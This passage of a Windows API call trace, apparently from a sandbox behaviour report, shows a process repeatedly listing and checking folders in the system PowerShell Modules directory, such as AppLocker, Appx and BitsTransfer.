lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.241] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.242] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 0 [0114.242] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebb0) returned 1 [0114.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebbc) returned 1 [0114.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebf0) returned 1 [0114.243] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0114.243] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0114.243] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x99ae918 | out: lpFindFileData=0x99ae918) returned 0x8e35250 [0114.243] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.243] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.243] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.243] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.243] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.243] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.244] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.245] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.246] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.247] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 0 [0114.247] FindClose (in: hFindFile=0x8e35250 | out: hFindFile=0x8e35250) returned 1 [0114.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebb0) returned 1 [0114.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebbc) returned 1 [0114.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.247] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0114.247] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\", lpFilePart=0x0) returned 0x3d [0114.247] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.247] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.247] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.247] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.247] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.247] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0114.247] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\", lpFilePart=0x0) returned 0x3d [0114.247] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35290 [0114.248] FindNextFileW (in: hFindFile=0x8e35290, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.248] FindNextFileW (in: hFindFile=0x8e35290, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.248] FindNextFileW (in: hFindFile=0x8e35290, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.248] FindClose (in: hFindFile=0x8e35290 | out: hFindFile=0x8e35290) returned 1 [0114.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.248] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x105, lpBuffer=0x99ae66c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0114.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.248] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x99aeb44 | out: lpFileInformation=0x99aeb44*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x69b7dbc2, ftCreationTime.dwHighDateTime=0x1d0bb12, ftLastAccessTime.dwLowDateTime=0x69b7dbc2, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b7dbc2, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.248] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x105, lpBuffer=0x99ae64c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0114.248] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\", lpFilePart=0x0) returned 0x3d [0114.248] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e35250 [0114.248] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.249] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.249] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0114.249] FindClose (in: hFindFile=0x8e35250 | out: hFindFile=0x8e35250) returned 1 [0114.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.249] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0x20 [0114.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.249] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0114.249] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\", lpFilePart=0x0) returned 0x38 [0114.249] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.249] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.249] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.249] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.249] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.249] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.249] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0114.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\", lpFilePart=0x0) returned 0x38 [0114.250] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.250] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.250] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.250] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.250] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.250] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.250] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x105, lpBuffer=0x99ae66c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0114.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.250] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x99aeb44 | out: lpFileInformation=0x99aeb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc69d3c, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x3813bfd2, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x3813bfd2, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x105, lpBuffer=0x99ae64c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0114.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\", lpFilePart=0x0) returned 0x38 [0114.250] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e35250 [0114.251] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0114.251] FindClose (in: hFindFile=0x8e35250 | out: hFindFile=0x8e35250) returned 1 [0114.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.251] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1")) returned 0x20 [0114.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0114.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\", lpFilePart=0x0) returned 0x40 [0114.251] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.251] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.252] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.252] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0114.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\", lpFilePart=0x0) returned 0x40 [0114.252] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.252] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.252] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.252] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.252] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.252] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.252] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x105, 